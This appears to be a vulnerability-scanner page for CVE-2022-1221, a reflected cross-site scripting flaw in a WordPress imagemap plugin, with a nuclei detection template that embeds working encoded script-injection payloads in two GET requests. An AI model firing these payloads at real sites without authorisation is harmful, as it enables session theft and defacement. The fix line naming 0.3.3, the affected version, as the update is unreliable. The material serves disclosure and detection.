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CVE-2022-1221· gwyn\'s imagemap selector project / gwyn\'s imagemap selector· CWE-79

WordPress Gwyn's Imagemap Selector <=0.3.3 - Cross-Site Scripting

mediumseverity
6.1CVSS score
1.9%likelihood of exploitation, next 30 days
80%of all CVEs are less likely
Readycheck to confirm it

Wordpress Gwyn's Imagemap Selector plugin 0.3.3 and prior contains a reflected cross-site scripting vulnerability. It does not sanitize the id and class parameters before returning them back in attributes.

Impact

Successful exploitation of this vulnerability could allow an attacker to execute arbitrary script code in the context of the victim's browser, potentially leading to session hijacking, defacement, or theft of sensitive information.

Fix

Update to the latest version of the WordPress Gwyn's Imagemap Selector plugin (0.3.3) or apply the vendor-supplied patch to fix the vulnerability.

How to confirm it

Send: GET {{BaseURL}}/wp-content/plugins/gwyns-imagemap-selector/popup.php?id=1&class=%22%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E ; GET {{BaseURL}}/wp-content/plugins/gwyns-imagemap-selector/popup.php?id=1%22%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E
Positive when: contains "</script><script>alert(document.domain)</script> popup-" AND contains in header "text/html" AND status 200

Run it with nuclei: nuclei -id CVE-2022-1221 -u <target>

The full check
id: CVE-2022-1221

info:
  name: WordPress Gwyn's Imagemap Selector <=0.3.3 - Cross-Site Scripting
  author: veshraj
  severity: medium
  description: |
    Wordpress Gwyn's Imagemap Selector plugin 0.3.3 and prior contains a reflected cross-site scripting vulnerability. It does not sanitize the id and class parameters before returning them back in attributes.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary script code in the context of the victim's browser, potentially leading to session hijacking, defacement, or theft of sensitive information.
  remediation: |
    Update to the latest version of the WordPress Gwyn's Imagemap Selector plugin (0.3.3) or apply the vendor-supplied patch to fix the vulnerability.
  reference:
    - https://wpscan.com/vulnerability/641be9f6-2f74-4386-b16e-4b9488f0d2a9
    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-1221
    - https://nvd.nist.gov/vuln/detail/CVE-2022-1221
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2022-1221
    cwe-id: CWE-79
    epss-score: 0.01876
    epss-percentile: 0.79593
    cpe: cpe:2.3:a:gwyn\'s_imagemap_selector_project:gwyn\'s_imagemap_selector:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: gwyn\'s_imagemap_selector_project
    product: gwyn\'s_imagemap_selector
    framework: wordpress
  tags: cve,cve2022,wpscan,xss,wordpress,wp-plugin,wp,gwyn\'s_imagemap_selector_project,vkev,vuln

http:
  - method: GET
    path:
      - '{{BaseURL}}/wp-content/plugins/gwyns-imagemap-selector/popup.php?id=1&class=%22%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E'
      - '{{BaseURL}}/wp-content/plugins/gwyns-imagemap-selector/popup.php?id=1%22%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E'

    stop-at-first-match: true

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "</script><script>alert(document.domain)</script> popup-"

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200

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